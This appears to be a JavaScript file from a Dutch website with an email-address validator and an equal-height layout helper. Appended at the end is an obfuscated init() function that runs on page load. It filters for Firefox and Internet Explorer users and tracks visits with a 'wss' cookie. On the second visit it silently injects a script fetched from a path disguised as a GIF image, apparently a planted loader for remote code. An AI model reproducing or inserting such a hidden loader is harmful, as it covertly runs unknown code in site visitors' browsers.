//=====================================================================================

function emailCheck (emailStr) {
    var checkTLD=1;
    var knownDomsPat=/^(biz|com|net|org|edu|int|mil|gov|arpa|biz|aero|name|coop|info|pro|museum)$/;
    var emailPat=/^(.+)@(.+)$/;
    var specialChars="\\(\\)><@,;:\\\\\\\"\\.\\[\\]";
    var validChars="\[^\\s" + specialChars + "\]";
    var quotedUser="(\"[^\"]*\")";
    var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;
    var atom=validChars + '+';
    var word="(" + atom + "|" + quotedUser + ")";
    var userPat=new RegExp("^" + word + "(\\." + word + ")*$");
    var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$");
    var matchArray=emailStr.match(emailPat);

   if (matchArray==null) {
        alert("E-mail adres lijkt onjuist (@ en punt)");
       return false;
    }
    
    var user=matchArray[1];
    var domain=matchArray[2];

   for (i=0; i<user.length; i++) {
       if (user.charCodeAt(i)>127) {
            alert("Deze gebruikersnaam bevat onjuiste karakters.");
           return false;
       }
    }

   for (i=0; i<domain.length; i++) {
       if (domain.charCodeAt(i)>127) {
            alert("");
           return false;
        }
    }

   if (user.match(userPat)==null) {
        alert("De gebruikersnaan is ongeldig.");
       return false;
    }

    var IPArray=domain.match(ipDomainPat);
    
   if (IPArray!=null) {
       for (var i=1;i<=4;i++) {
           if (IPArray[i]>255) {
                alert("Doel IP adres in ongeldig");
               return false;
            }
        }
       return true;
    }
 
    var atomPat=new RegExp("^" + atom + "$");
    var domArr=domain.split(".");
    var len=domArr.length;
   for (i=0;i<len;i++) {
       if (domArr[i].search(atomPat)==-1) {
            alert("Ongeldig domein.");
           return false;
        }
    }

   if (checkTLD && domArr[domArr.length-1].length!=2 && 
        domArr[domArr.length-1].search(knownDomsPat)==-1) {
        alert("Het adres moet eindigen op een domein of 2-letterige landcode");
       return false;
    }
   if (len<2) {
        alert("De hostname van dit adres mist");
       return false;
    }

return true;
}

matchHeight=function(){ 
     var divs,contDivs,maxHeight,divHeight,d; 
     // get all <div> elements in the document 
     divs=document.getElementsByTagName('div'); 
     contDivs=[]; 
     // initialize maximum height value 
     maxHeight=0; 
     // iterate over all <div> elements in the document 
     for(var i=0;i<divs.length;i++){ 
          // make collection with <div> elements with class attribute 'container' 
          if(/\bcontainer\b/.test(divs[i].className)){ 
                d=divs[i]; 
                contDivs[contDivs.length]=d; 
                // determine height for <div> element 
                if(d.offsetHeight){ 
                     divHeight=d.offsetHeight; 
                } 
                else if(d.style.pixelHeight){ 
                     divHeight=d.style.pixelHeight; 
                } 
                // calculate maximum height 
                maxHeight=Math.max(maxHeight,divHeight); 
          } 
     } 
     // assign maximum height value to all of container <div> elements 
     for(var i=0;i<contDivs.length;i++){ 
          contDivs[i].style.height=maxHeight+'px'; 
     } 
} 

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/wie.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
